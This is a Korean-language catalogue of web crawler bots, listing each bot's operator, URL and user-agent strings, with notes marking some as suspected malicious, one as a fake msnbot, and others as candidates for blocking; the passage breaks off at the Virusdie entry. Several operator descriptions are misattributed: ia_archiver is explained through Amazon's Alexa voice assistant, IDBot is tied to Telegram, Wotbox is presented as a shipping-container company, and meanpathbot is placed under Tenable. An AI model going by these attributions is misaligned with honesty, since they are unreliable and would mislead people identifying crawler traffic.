Scrapinghub는 성공적인 웹 크롤링 및 데이터 처리 솔루션을 제공하기 위한 최고의 기술 및 컨설팅 서비스를 제공하는 회사입니다. Scrapinghub 팀에서는 주로 개발한 Scrapy와 같은 오픈 소스 라이브러리, 웹 크롤링 실행 및 관리를 위한 PaaS, 예제를 기반으로 데이터를 자동으로 추출 할 수있는 서비스, 많은 웹 사이트의 스파이더를 포함한 거대한 내부 소프트웨어 라이브러리, 사용자 지정 추출기, 데이터 사후 처리, 프록시 관리 등을 제공합니다.

Name:	Contacts-Crawler
URL:	http://www.scrapinghub.com
User Agent Key:	Contacts-Crawler
User Agents:	Contacts-Crawler/0.2 (+http://www.scrapinghub.com)

kisaBot

kisaBot이란?

KISA에서 개인정보 검색하기 위해 사용되는 봇입니다. [자세한 정보는 없음.]

Similarity

- kisaBot v1.0
- KisaBotD/2.0

Daum

Daum이란?

카카오(舊 다음커뮤니케이션)에서 운영하는 포털 웹사이트입니다.

본래는 예술사이트로 출발했지만 패션사이트, 커뮤니티 사이트, 영화 웹진 서비스, 여행 정보 서비스 한메일넷 등 각종 사업을 벌이다가 IMF 외환위기로 인한 침체기 때 무료 이메일 서비스로 대박을 터뜨렸고, 그 후 검색 엔진 서비스와 뉴스 서비스 등을 대대적으로 도입하여 종합 포털사이트로 거듭났습니다.

네이버가 급부상하기 이전에는 야후 코리아, 라이코스 코리아와 함께 선두권에 있었지만 2003년을 기점으로 네이버에게 밀리기 시작하여 3위 포털사이트의 자리를 장기간 유지하고 있는 중입니다. Daum 봇은 웹 크롤링을 위해 사용되는 봇입니다.

Name:	daum
URL:
User Agent Key:	daum
User Agents:	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Embedded Web Browser from: http://bsalsa.com/; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; BRI/2) daum Mozilla/5.0 (compatible; MSIE 9.0; Firefox/50.1) Daum/4.1 Mozilla/5.0 (compatible; Daum/4.1; +http://cs.daum.net/faq/15/4118.html?faqId=28966)

Similarity

- Mozilla/5.0 (compatible; MSIE or Firefox mutant; not on Windows server; +http://ws.daum.net/aboutWebSearch.html) Daumoa/2.0
- daumos

Dataprovider

Dataprovider란?

Dataprovider.com은 인터넷을 구조화된 데이터베이스로 변환하는 웹 크롤링 회사입니다. 한 국가의 모든 웹 사이트를 색인하기 위해 링크에서 링크로 이동하는 크롤러를 이용하고 있고 이를 통해, 매달 50 개 국가에서 2억 8천만 개 이상의 도메인에 대한 광범위한 데이터를 수집합니다.

이 모든 데이터는 회사 정보, 연락처 정보, 전자 상거래 특성, 호스팅 속성 및 기술적 측면을 포함하는 깨끗하고 검색 가능한 플랫폼으로 요약을 시키며, 도메인과 개발된 웹 사이트에 대한 포괄적인 정보를 제공하는 데이터베이스는 리드 생성, 시장 조사, 고객 통찰력, 온라인 브랜드 보호 등을 위한 유용한 도구로써 사용중입니다. Dataprovider.com 봇은 크롤링에 이용됩니다.

Name:	Dataprovider
URL:	https://www.dataprovider.com/spider/
User Agent Key:	Dataprovider
User Agents:	Mozilla/5.0 (compatible; Dataprovider.com) Mozilla/5.0 (compatible; Dataprovider/6.101; +https://www.dataprovider.com/) Mozilla/5.0 (compatible; Dataprovider; https://www.dataprovider.com/spider/) Mozilla/5.0 (compatible; Dataprovider/6.92; +https://www.dataprovider.com/) Mozilla/5.0 (compatible; Dataprovider.com;)

DuckDuckGo-Favicons-Bot

https://duckduckgo.com/

덕덕고(DuckDuckGo, DDG)란?

사용자의 개인정보를 수집하지 않는 검색 엔진입니다. 덕덕고는 사용자가 인터넷에서 어디를 방문하든 웹 검색 및 브라우징 시, 개인정보를 완벽하게 관리하는 데 필수적인 개인정보 보호 기능을 제공합니다.

덕덕고 검색엔진의 일부는 오픈 소스이고, 검색결과를 사용자가 만들 수 있으며, 회사는 미국의 펜실베이니아주에 있습니다. DuckDuckGo-Favicons-Bot은 웹 크롤러 봇입니다.

Name:	DuckDuckGo-Favicons-Bot
URL:	http://duckduckgo.com
User Agent Key:	DuckDuckGo-Favicons-Bot
User Agents:	Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)

empas

https://www.nate.com/

엠파스(empas)란?

엠파스(empas)는 대한민국의 종합 인터넷 검색회사였으며, 'e-media'와 'compass'의 합성어로 디지털시대의 나침반을 뜻한다. 엠파스의 최초 전략은 자연어 검색이었으나, 2005년부터 해당 관계자가 동종 업계로 옮겨가면서 검색의 내용이 바뀌어버렸다. 이윽고 2009년 2월 28일 네이트와 통합되었다. empas 봇은 네이트의 웹 크롤링을 위한 봇입니다.

Name:	empas.com
URL:	http://www.empas.com
User Agent Key:	http://www.empas.com
User Agents:	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.2; SV2; http://www.empas.com); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

Exabot

https://www.exalead.com/

엑사리드(EXALEAD)란?

EXALEAD는 2000년에 설립 된 소비자 및 비즈니스 사용자를 위한 검색 플랫폼 및 검색 기반 응용 프로그램을 제공하는 소프트웨어 회사입니다. 이 회사는 프랑스 파리에 본사가 있으며 Dassault Systèmes의 자회사입니다.

Exabot은 Exalead 로봇의 사용자 에이전트이며, 그 역할은 전 세계에서 Exalead의 검색 엔진으로 데이터를 수집하고 색인을 생성하는 것입니다. Exabot 에이전트는 사이트를 크롤링하여 해당 컨텐츠가 Exalead 기본 색인에 포함되어 Exalead 검색 결과 페이지에 포함되도록합니다.

Name:	Exabot
URL:	http://www.exabot.com/go/robot
User Agent Key:	Exabot/
User Agents:	Mozilla/5.0 (compatible; Exabot/3.0; +http://www.exabot.com/go/robot) Mozilla/5.0 (compatible; Exabot/3.0 (BiggerBetter); +http://www.exabot.com/go/robot)

ia_archiver

https://www.amazon.com/

알렉사(Alexa)란?

아마존 알렉사(Amazon Alexa)는 아마존에서 개발한 인공지능 플랫폼이다. 알렉사는 아마존 에코에 처음 사용되었으며, 사용자는 아마존 에코를 이용해 알렉사와 의사소통을 할 수 있으며, 알렉사는 음악재생, 알람설정, 날씨정보 제공, 교통정보 제공 등 많은 기능들을 제공해준다.

알렉사는 클라우드 기반으로 작동되기 때문에, 알렉사를 자주 사용할수록, 알렉사는 사용자가 말하는 패턴, 단어, 개인적인 기호등을 학습해서 더 잘 받아들인다. 현재 아마존은 알렉사에 대한 소프트웨어정보를 공개하였고, 이러한 정보들을 이용해 여러 기업에서 가전제품, 자동차 등에 도입이되었다.

ia_archiver 봇은 웹 컨텐츠를 식별 및 분류하고 백 링크를 발견을 위해, 웹을 크롤링에 이용됩니다.

Name:	Alexa/Internet Archive
URL:	http://pages.alexa.com/help/webmasters/
User Agent Key:	ia_archive
User Agents:	ia_archiver ia_archiver/1.6 ia_archive (NewsFetcher 1.0) (http://www.alexa.com/ crawler@alexa.com) InternetArchive/0.8-dev (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) ia_archiver-web.archive.org

IDBot

텔레그램(Telegram)이란?

Telegram Messenger LLP사가 개발/운영 중인 오픈 소스 인터넷 모바일 메신저입니다.

러시아의 니콜라이 두로프(Nikolai Durov), 파벨 두로프(Pavel Durov) 형제가 개발하여, 2013년 8월에 iOS용으로 처음 출시하였고, 현재는 안드로이드, Windows, Windows Phone, 리눅스, macOS, 웹 브라우저까지 지원하는 메신저이다. 구글 크롬용 확장 기능 버전도 제공하고 있다.

비영리이기 때문에 유료 기능이나 광고가 없고, 이것이 가능한 이유는 텔레그램의 개발자중 한 명인 파벨 두로프가 러시아에서도 손꼽히는 억만장자이기 때문에 서버 유지, 개발비 등 모든 비용을 충당할 수 있기 때문입니다. 앞으로도 어떠한 경우에도 광고를 싣거나 유료화되는 일은 없을 것이라고 하며, 비용이 부족할 것으로 예측된다면 기부를 받을 것이라고 합니다.

2018년 3월 기준으로 텔레그램이 월 활성 사용자 2억 명을 돌파했고 매일 35만 명이 가입하며 매일 15억 개의 메시지를 전달하는 메신저가 되었습니다. IDBot은 텔레그램의 ID 생성 및 웹 크롤링을 위한 봇입니다.

Name:	IDBot
URL:
User Agent Key:	IDBot/
User Agents:	Mozilla/5.0 (compatible; IDBot/1.0; +http://www.id-search.org/bot.html) Mozilla/5.0 (compatible; IDBot/1.1; +http://www.id-search.xyz/bot.html)

*fell for bad bot trap - 악성봇으로 추정 됨

Linkdexbot

Linkdex란?

Linkdex Ltd.는 2008년에 창립하였고, 팀 관리 소프트웨어와 검색 엔진 최적화 도구를 결합한 엔터프라이즈 급 플랫폼 서비스를 제공하는 회사입니다.

때로는 웹 사이트를 크롤링하여 백 링크 프로필을 이해하거나, 사용자에 대한 정보를 수집하여 웹 사이트 및 SEO 전략을 개선하기 위해 사용합니다. linkdexbot은 프로필 및 웹 크롤링을 위해 사용하는 봇입니다.

Name:	linkdex.com
URL:	http://www.linkdex.com/bots/
User Agent Key:	linkdexbot/
User Agents:	linkdex.com/v2.0 Mozilla/5.0 (compatible; linkdexbot/2.0; +http://www.linkdex.com/about/bots/) Mozilla/5.0 (compatible; linkdexbot/2.0; +http://www.linkdex.com/bots/) Mozilla/5.0 (compatible; linkdexbot/2.2; +http://www.linkdex.com/bots/)

meanpathbot

tenable이란?

개발사(Tenable Network Security)는 세계에서 가장 많이 사용되는 취약점 스캐너인 Nessus를 제작한 회사이다.

클라우드, 컨테이너에 이르기까지 전체 공격 영역을 위험 기반으로 파악하여 취약성을 신속하게 식별, 조사할 수 있으며 사이버 보안 취약점 관리 1위라고 해도 과언이 아닐정도이다. meanpathbot은 자동 웹 크롤링을 위해 사용하는 봇이다.

Name:	meanpathbot
URL:	http://www.meanpath.com/meanpathbot.html
User Agent Key:	meanpathbot/
User Agents:	Mozilla/5.0 (compatible; meanpathbot/1.0; +http://www.meanpath.com/meanpathbot.html)

mfibot

MFI Soft란?

MFI Soft는 러시아 회사이며, 정보 보안 시스템 개발자(DLP 시스템, DDoS 방지), 인터넷 트래픽 필터링 시스템 및 법적 통제 시스템(SORM), 사기 방지 시스템을 제공하고 있습니다. 이 회사의 본사는 니즈니 노브 고로드의 개발 센터인 모스크바에 있습니다.

회사의 솔루션은 정보 보안의 내부 및 외부 위협과 관련된 재무 및 평판 위험을 줄이고 통신 사업자의 상업적 기회를 확대하기위한 것입니다. mifibot은 웹 크롤링을 위한 봇입니다.

Name:	mfibot
URL:	http://www.mfisoft.ru/analyst/
User Agent Key:	mfibot/
User Agents:	mfibot/1.1 (http://www.mfisoft.ru/analyst/; <admin@mfisoft.ru>; en-RU)</admin@mfisoft.ru>

*fell for bad bot trap - 악성봇으로 추정 됨

MJ12bot

Majestic이란?

Majestic은 13개 언어와 60개 이상의 국가에서 수십만 개의 기업이 소비자 기반 검색 엔진과 독립적으로 인터넷지도를 그리는 데 사용하는 영국 기반 전문 검색 엔진입니다.

Alex Chudnovsky가 2004년에 시작한 분산 검색엔진 프로젝트로 Google과 같은 인터넷 검색엔진을 구축하기 위해 진행했습니다. 분산 검색엔진이란 Majestic12가 독립적으로 직접 검색자료를 수집하는 형태가 아닌 개인의 PC들을 검색 Agent화 하여 자료를 수집하는 형태로 이미 3D 영상 Rendering 서비스 등에서 활용중인 네트워크 개념의 전산 처리 시스템이다. 요즘 자주 매체에서 등장하는 DDOS 및 좀비pc가 이런 분산 Agent의 안 좋은 예로 볼 수 있다.

MJ12bot은 웹 컨텐츠 및 데이터 수집, 크롤링을 하기위해 사용하는 봇이다.

Name:	MJ12bot
URL:	http://www.majestic12.co.uk/bot.php?+
User Agent Key:	MJ12bot/v
User Agents:	MJ12bot/v0.5.0 (http://www.majestic12.co.uk/projects/dsearch/mj12bot.php) run by PeerID=E71E149BF7B07EFCFE510E729DD2B9E3 MemberID=C9403BB515387FBB631AC512950E6F0E MJ12bot/v0.6.0 (http://www.majestic12.co.uk/projects/dsearch/mj12bot.php?) run by PeerID=E71E149BF7B07EFCFE510E729DD2B9E3 MemberID=C9403BB515387FBB631AC512950E6F0E MJ12bot/v0.8.7 (http://www.majestic12.co.uk/projects/dsearch/mj12bot.php?V=v0.8.7&NID=000000D0D373624D&MID=7F397F58862A3560&BID=573A52050229B3310517B80DDC9766C7&+) MJ12bot/v1.0.4 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.0.5 (http://majestic12.co.uk/bot.php?+) MJ12bot/v0.6.0 (http://www.majestic12.co.uk/projects/dsearch/mj12bot.php?) NID=E71E149BF7B07EFCFE510E729DD2B9E3 MID=C9403BB515387FBB631AC512950E6F0E MJ12bot/v0.8.7 (http://www.majestic12.co.uk/projects/dsearch/mj12bot.php?V=v0.8.7&NID=000000D0E3347D52&MID=0D29895C32C458C3&BID=BC6D546D6BDAE33CFD18768A953F2E57&+) MJ12bot/v0.8.7 (http://www.majestic12.co.uk/projects/dsearch/mj12bot.php?V=v0.8.7&NID=00D0F39B37266252&MID=7A764EA9585B2914&BID=65331449AA9EE6F926342D62622BEB8D&+) MJ12bot/v1.0.6 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.1.1 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.1.2 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.2.0 (http://majestic12.co.uk/bot.php?+) Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+) Mozilla/5.0 (compatible; MJ12bot/v1.4.6; http://mj12bot.com/)

**무분별한 웹 크롤링 수집으로 업무의 연관성이 없다면 차단 권고

YandexBot

https://yandex.com/

얀덱스(Yandex)란?

얀덱스(러시아어: Яндекс, 나스닥: YNDX, 모스크바: YNDX)는 러시아에서 60%의 시장 점유율을 차지하는 러시아 최대의 검색 엔진을 운영하는 인터넷 기업이며, 수많은 인터넷 기반 서비스와 제품들을 개발합니다.

컴스코어에 따르면 얀덱스는 전 세계 검색 엔진에서 4위를 차지하고 있으며, 2012년 4월 기준으로 날마다 150,000,000건 이상의 검색을 처리하며 2013년 2월 기준으로 50,500,000명 이상이 방문합니다. 이 회사의 목적은 사용자들이 생각하는 질문들에 대한 답변을 명시적으로나 암묵적으로 제공하는 것입니다.

얀덱스는 우크라이나와 카자흐스탄에서도 존재감이 매우 큰 편인데, 해당 국가들의 시장에서 모든 검색 결과의 거의 1/3을 제공하며 벨라루스의 경우 전체 검색 결과의 43%를 제공한다. YandexBot은 검색 엔진 색인을 위한 크롤링을 목적으로 사용되고 있습니다.

Name:	YandexBot
URL:	http://yandex.com/bots
User Agent Key:	YandexBot/
User Agents:	Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)

YisouSpider

https://www.etao.com/

이타오닷컴(etao.com)이란?

알리바바 그룹(阿里巴巴集團)은 세계 최대 규모의 온라인 쇼핑몰 알리바바 닷컴을 운영하는 뉴욕 증권거래소 상장 기업의 이름이다. 본사는 중화인민공화국 항저우 시에 있으며, 이 회사가 운영하는 알리바바 닷컴은 B2B 온라인 쇼핑몰이다.

중국의 중소기업이 만든 제품을 전 세계 기업들이 구매할 수 있도록 중개해 주며, 그 후 일반인을 대상으로 한 온라인 쇼핑몰 '타오바오'가 추가되었고 부유층을 타켓으로 한 온라인 백화점 '티몰' 등 계열사들이 추가되었다.

이타오닷컴(etao.com, 一淘网)은 알리바바 그룹의 검색 엔진이며, YisouSpider는 검색 엔진 색인을 위해 이용되는 웹 크롤링 봇입니다.

Name:	YisouSpider
URL:
User Agent Key:	YisouSpider
User Agents:	YisouSpider

PageAnalyzer

Social PageAnalyzer란?

페이스 북 페이지, 게시물 및 의견을 분석하는 강력한 Mac / PC 소프트웨어인 Social Page Analyzer는 자신의 소셜 마케팅 캠페인을 위한 최고의 마케팅 컨텐츠 및 전략 을 발견할 수 있도록 도움을 주는 솔루션입니다.

팬 페이지 도구, Facebook 광고에 관심을 가져 오기, 대규모 데이터, 알파벳 추가, 페이지 점수 등의 기능들이 대표적이며, PageAnalyzer 봇은 데이터 수집에 이용됩니다.

Name:	PageAnalyzer
URL:
User Agent Key:	PageAnalyzer/
User Agents:	Mozilla/5.0 (compatible; PageAnalyzer/1.1;)

msnbot

MSN이란?

MSN(Microsoft Network, 마이크로소프트 네트워크)은 마이크로소프트가 운영하는 포털 사이트이자 인터넷 서비스 제공 업체입니다.

MSN은 1995년 8월, 윈도우 95의 발매와 동시에 서비스를 개시하였으며, 처음에는 이른바 PC 통신 서비스로 제공되었지만, 인터넷이 급성장함에 따라 인터넷 접속 서비스로 전환하고, 포털 사이트 서비스도 시작하게 되었습니다.

msnbot은 검색 엔진의 색인을 위해 웹 크롤링에 사용됩니다.

Name:	MSNBot
URL:	http://search.msn.com/msnbot.htm
User Agent Key:	msnbot
User Agents:	msnbot/0.11 (+http://search.msn.com/msnbot.htm) msnbot/0.3 (+http://search.msn.com/msnbot.htm) msnbot/0.9 (+http://search.msn.com/msnbot.htm) msnbot/1.0 (+http://search.msn.com/msnbot.htm) msnbot/2.0b (+http://search.msn.com/msnbot.htm) MSNBOT/0.1 (http://search.msn.com/msnbot.htm)

Similarity

- msnbot-media/1.1 (+http://search.msn.com/msnbot.htm)

**하기 봇 MSMOBOT은 msnbot의 fake된 형태의 봇으로써 'O'가 하나더 추가된 문자열로 되어있으니 주의요망!

Name:	MSMOBOT
URL:
User Agent Key:	MSMOBOT
User Agents:	MSMOBOT/1.1 (+http://search.msn.com/msnbot.htm)

PagesInventory

페이지인벤토리(PagesInventory)란?

PagesInventory.com은 웹 호스팅 및 도메인 이름, 역방향 IP (+ Ipv6) 검색 및 기타 서비스에 대한 정보를 무료로 제공하는 서비스 사이트입니다.

PagesInventory 봇은 웹 호스팅 및 도메인 IP 정보를 크롤링 하기위해 사용되는 봇입니다.

Name:	PagesInventory
URL:	http://www.pagesinventory.com
User Agent Key:	PagesInventory
User Agents:	PagesInventory (robot +http://www.pagesinventory.com) PagesInventory.com (robot http://www.pagesinvenotry.com) PagesInventory (robot http://www.pagesinvenotry.com) PagesInventory (robot http://www.pagesinventory.com)

SemrushBot

에스이엠러시(Semrush)란?

SEMrush는 SaaS 서비스로 소프트웨어에 기반을 둔 회사입니다. 온라인 가시성 및 마케팅 분석 서비스 소프트웨어을 판매 하고있으며, Oleg Shchegolev와 Dmitry Melnikov 가 SaaS 모델을 채택하기 전에 SEO 도구 및 브라우저 확장 프로그램을 기반으로 설립되었습니다.

이 소프트웨어는 웹 사이트 트래픽 정보, 키워드 , 예상 애드워즈 지출, 사이트 감사, 주제 조사, 리드 생성 및 기타 SEO 관련 데이터를 포함한 인텔리전스 데이터를 제공 할 수 있습니다.

SEMrush 회사의 고객으로는 eBay, Quora, Booking.com, Hewlett Packard Enterprise 및 BNP Paribas 등이 있습니다. SemrushBot 봇은 웹 사이트 데이터 크롤링에 사용됩니다.

Name:	SemrushBot
URL:	http://www.semrush.com/bot.html
User Agent Key:	SemrushBot
User Agents:	Mozilla/5.0 (compatible; SemrushBot/0.97~bl; +http://www.semrush.com/bot.html) Mozilla/5.0 (compatible; SemrushBot/0.98~bl; +http://www.semrush.com/bot.html) SemrushBot/0.9 Mozilla/5.0 (compatible; SemrushBot/0.95; +http://www.semrush.com/bot.html) Mozilla/5.0 (compatible; SemrushBot/0.99~bl; +http://www.semrush.com/bot.html) SEMrushBot Mozilla/5.0 (compatible; SemrushBot/1.1~bl; +http://www.semrush.com/bot.html) Mozilla/5.0 (compatible; SemrushBot/1.2~bl; +http://www.semrush.com/bot.html) Mozilla/5.0 (compatible; SemrushBot-BA; +http://www.semrush.com/bot.html)

**무분별한 웹 크롤링 수집으로 업무의 연관성이 없다면 차단 권고

Plukkie

Plukkie란?

검색 엔진 (botje.com)을 출시하기위한 새로운 인덱싱을 개발하며 만들어졌습니다. 인덱싱은 네덜란드, 벨기에, 프랑스, 영국에서 네덜란드(botje.nl), 벨기에(botje.be), 프랑스 (botje.fr), 영국 (botje.co.uk) 검색 엔진을 업데이트합니다.

Plukkie는 웹 크롤링 및 검색 엔진 색인을 위해 만들어진 봇입니다.

Name:	Plukkie
URL:	http://www.botje.com/plukkie.htm
User Agent Key:	Plukkie/
User Agents:	Mozilla/5.0 (compatible; Plukkie/1.1; http://www.botje.com/plukkie.htm) Mozilla/5.0 (compatible; Plukkie/1.2; http://www.botje.com/plukkie.htm) Mozilla/5.0 (compatible; Plukkie/1.6; http://www.botje.com/plukkie.htm) Mozilla/5.0 (compatible; Plukkie/1.7; http://www.botje.com/plukkie.htm)

**해당 개발자들은 Plukkie가 무분별한 크롤링을 한다면 robot.txt에서 차단 진행을 권고하였습니다.

Wotbox

WOTBOX이란?

WOTBOX는 시드니를 기반으로 한 맞춤형 컨테이너 솔루션 회사로서, 호스 피탈 리티 및 마케팅을 포함한 이벤트 및 관련 산업에 품질, 효율적이고 잘 설계된 운송 컨테이너 솔루션을 제공하는 것을 목표로하고 있습니다.

고객과 협력하여 겸손한 컨테이너 사용을 극대화하기 위해 장기 및 단기 사용을 위한 맞춤형 솔루션을 제공하며 소매 기회, VIP 지역, 커피 숍, 레스토랑 및 음식점, 옥상 데크, 생맥주 및 냉장고 시스템이있는 바를 제작합니다.

시드니에 본사를 둔 호주 전역에 솔루션을 제공 할 수 있으며 이벤트 업계의 시험 및 요구 사항에 대한 이해에 자부심을 가지고 있으며, 지난 15년 동안 축제와 라이브 이벤트를 중심으로 작업하였고 아이디어를 현실로 만드는 가장 좋은 방법에 대한 광범위한 지식을 가지고 있는 회사입니다. Wotbox 봇은 웹 크롤링에 이용되는 봇입니다.

Name:	Wotbox
URL:	http://www.wotbox.com/about/
User Agent Key:	Wotbox
User Agents:	Wotbox/2.0 (bot@wotbox.com; http://www.wotbox.com) Wotbox/2.01 (+http://www.wotbox.com/bot/)

psbot

Picsearch란?

Picsearch는 대규모 웹 사이트를 위한 이미지 검색 서비스를 개발하고 제공 하는 스웨덴 회사입니다. 이미지 검색 서비스 개발과 다른 Picsearch 고객으로는 독일의 지역 검색 포털, 터키 및 아랍어 포털이 있습니다. 검색 포털 영역 밖의 고객은 통신, 엔터테인먼트 사이트, 전자 상거래, 스포츠 웹 사이트, 옐로우 페이지 및 커뮤니티를 포함합니다.

Picsearch는 또한 비디오 커뮤니티, 블로그(비디오 블로그), 전자 상거래 사이트의 비디오 검토, 기업 비디오 프레젠테이션, 뉴스 비디오 및 부동산 포털의 가상 쇼에 사용되는 브랜드 이름 Screen9으로 온라인 비디오 플랫폼을 개발하고 제공합니다.

psbot 봇은 웹 크롤링 및 이미지 데이터 수집에 사용됩니다.

Name:	Picsearch
URL:	http://www.picsearch.com/bot.html
User Agent Key:	picsearch.com
User Agents:	psbot/0.1 (+http://www.picsearch.com/bot.html) psbot-page (+http://www.picsearch.com/bot.html)

SafeDNSBot

SafeDNS란?
SafeDNS는 DNS(Domain Name System) 클라우드 기반의 인터넷 필터링 솔루션을 제공하여 봇넷, 맬웨어 및 피싱으로부터 웹 컨텐츠 필터링 및 보호 기능을 제공하는 회사입니다 .

SafeDNS는 필터링을 우회하지 않도록 웹 프록시 및 익명으로 된 IP를 차단하고 프록시 서버(PoP)는 유럽, 아시아, 북미 및 중앙 아메리카에서 호스팅되고 있습니다. SafeDNSBot은 인터넷 필터링을 위한 데이터 크롤링에 사용되고 있습니다.

Name:	SafeDNSBot
URL:	https://www.safedns.com/searchbot
User Agent Key:	SafeDNSBot
User Agents:	SafeDNSBot (https://www.safedns.com/searchbot)

spbot

SEO 프로파일러(seoprofiler)란?
SEO 프로파일러는 Google 및 기타 검색 엔진에서 더 높은 순위를 얻는 데 도움을 주는 웹 소프트웨어입니다.

검색 엔진에서 순위가 높으면 더 많은 웹 사이트 방문자, 더 많은 고객 및 더 많은 판매를 얻을 수 있으며, Google의 현재 순위 알고리즘으로 높은 순위를 얻는 데 필요한 최신 SEO 작업에 중점을 두고 있습니다.

SEO 프로파일러는 국제 SEO이기 때문에, 솔루션이 로마 문자 집합을 사용하는 모든 국가에서 웹 사이트와 작업(예를 들어, 영어, 스페인어, 독일어, 프랑스어, 이탈리아어, 네덜란드어, 덴마크어, 노르웨이어, 포르투갈어, 스웨덴어, 등)에 용이하게 사용 가능합니다.

spbot은 구글에 게시된 웹 사이트 및 데이터 크롤링에 사용됩니다.

Name:	spbot
URL:	http://www.seoprofiler.com/bot/
User Agent Key:	; spbot/
User Agents:	Mozilla/5.0 (compatible; spbot/1.0; +http://www.seoprofiler.com/bot/ ) Mozilla/5.0 (compatible; spbot/5.0.3; +http://OpenLinkProfiler.org/bot )

**무분별한 웹 크롤링 수집으로 업무의 연관성이 없다면 차단 권고

SMTBot

SimilarTech란?
SimilarTech는 기술 채택 및 사용 분석을 실시간으로 추적하는 Sales Insight Platform(SIP)이며, 웹 크롤링 을 통해 비즈니스 통찰력을 제공하는 포괄적인 SaaS 기술 및 분석 도구입니다.

해당 기술은 파트너에게 정보를 활용하고 비즈니스를 성장시키기 위해 수백만 개의 사이트에서 기술에 대한 중요한 통찰력을 제공하며, SimilarTech는 트렌드, 리서치 시장, 리드 및 잠재 고객 생성을 위한 분석 도구를 제공합니다.

웹 기술의 전체 범주를 추적하고 나열하고 실시간 교통 데이터와 정확한 국제 범위를 따릅니다.
SMTBot은 웹 크롤링 및 데이터 수집에 사용됩니다.

Name:	SMTBot
URL:	http://www.similartech.com/smtbot
User Agent Key:	SMTBot
User Agents:	SMTBot (similartech.com/smtbot) Mozilla/5.0 (compatible; SMTBot/1.0; +http://www.similartech.com/smtbot)

*fell for bad bot trap - 악성봇으로 추정 됨

Sogou web spider

소우거우(Sogou)란?

Sogou, Inc.는 주로 웹 검색을 전문으로하는 중국 기술 회사이며, 'Sohu, Inc.'의 자회사입니다. 검색 엔진을 운영하고 있으며, 중국어로 대한민국의 네이버, zum, daum과 같은 서비스와 같다고 보면 된다.

Sogou web spider는 검색 엔진 색인을 위해 크롤링하는 봇입니다.

Name:	Sogou web spider
URL:	http://www.sogou.com/docs/help/webmasters.htm#07
User Agent Key:	Sogou web spider
User Agents:	Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07) spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

SurveyBot

https://www.whois.com/

Whois란?

Whois.sc에서 도메인 조회 서비스를 제공하고 있습니다. 조회 서비스를 사용하면 도메인 이름의 소유권과 기간을 추적 할 수 있습니다. 모든 도메인 이름 레지스트리는 도메인을 통해 구매 한 모든 도메인 이름에 대한 정보, 소유자 및 구매 날짜까지 기록을 유지하고 있습니다.

SurveyBot는 매주 통계 및 기타 유용한 정보를 웹 사이트에서 조회하며, 이 정보는 Whois Source 도메인 검색 엔진을 만드는 데 사용됩니다.

Name:	SurveyBot
URL:	http://www.whois.sc/info/webmasters/surveybot.html
User Agent Key:	SurveyBot
User Agents:	SurveyBot/2.2 http://www.whois.sc'>Whois Source SurveyBot/2.3 (Whois Source) Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.13) Gecko/2009073022 Firefox/3.5.2 (.NET CLR 3.5.30729) SurveyBot/2.3 (DomainTools)

TurnitinBot

Turnitin이란?
Turnitin은 Advance의 자회사인 미국의 상업 인터넷 기반 표절 탐지 서비스입니다 .

1997년에 설립되었고 대학 및 고등학교는 일반적으로 사용하는 라이센스를 구매 서비스로 소프트웨어를 검사 데이터베이스 및 식별의 목적으로 다른 웹 사이트의 내용에 대해 문서를 제출(SaaS) 웹 사이트, 표절 탐지합니다. 기존 출처와의 유사점을 식별 할 수 있으며, 학생들이 표절을 피하고 글쓰기를 향상시키는 방법을 배우는 데 도움이되도록 형성 평가에 사용되기도 합니다.

학생들은 특정 과정이나 수업을 수강하기 위해 Turnitin에 작품을 제출하기도 해야 했으며, 해당 소프트웨어는 논쟁의 원인이되어 왔습니다.

TurnitinBot은 콘텐츠를 수집을 목적으로하며 특히, 타 게시물의 유사점을 찾기위해 사용되고 있습니다.

Name:	TurnitinBot
URL:	http://www.turnitin.com/robot/crawlerinfo.html
User Agent Key:	TurnitinBot
User Agents:	TurnitinBot/1.5 (http://www.turnitin.com/robot/crawlerinfo.html) TurnitinBot/1.5 http://www.turnitin.com/robot/crawlerinfo.html TurnitinBot/2.0 (http://www.turnitin.com/robot/crawlerinfo.html)

xovibot

XOVI란?
XOVI GmbH는 2009년부터 온라인 마케팅 산업을 위한 SaaS(Software as a Service) 솔루션을 제공하는 회사입니다. XOVI 회사는 XOVI 온라인 마케팅 제품군에 설립되었습니다.

검색 분석 소프트웨어를 사용하면 고객이 검색 엔진 최적화 및 계열사 마케팅에서 경쟁 우위를 확보하며, 성공적인 온라인 마케팅에 필요한 모든 관련 데이터를 수집, 분석 및 제시합니다.

XOVI를 사용하면 검색 엔진을 통해 트래픽을 극대화하고 가장 중요한 키워드를 찾아 사용하며 안정적인 제휴 네트워크를 구축이 가능하게 합니다. XOVI 봇은 데이터 수집 및 웹 크롤링에 사용되고 있습니다.

Name:	XoviBot
URL:	http://www.xovibot.net/
User Agent Key:	XoviBot/
User Agents:	Mozilla/5.0 (compatible; XoviBot/2.0; +http://www.xovibot.net/)

**무분별한 웹 크롤링 수집으로 업무의 연관성이 없다면 차단 권고

Virusdie crawler

virusdie란?
virusdie는 자동 웹 사이트 및 서버 맬웨어 제거, 웹 사이트 보호, 모니터링 및 보안 분석을 위한 올인원 웹 사이트 보안 도구를 서비스 하는 회사입니다.

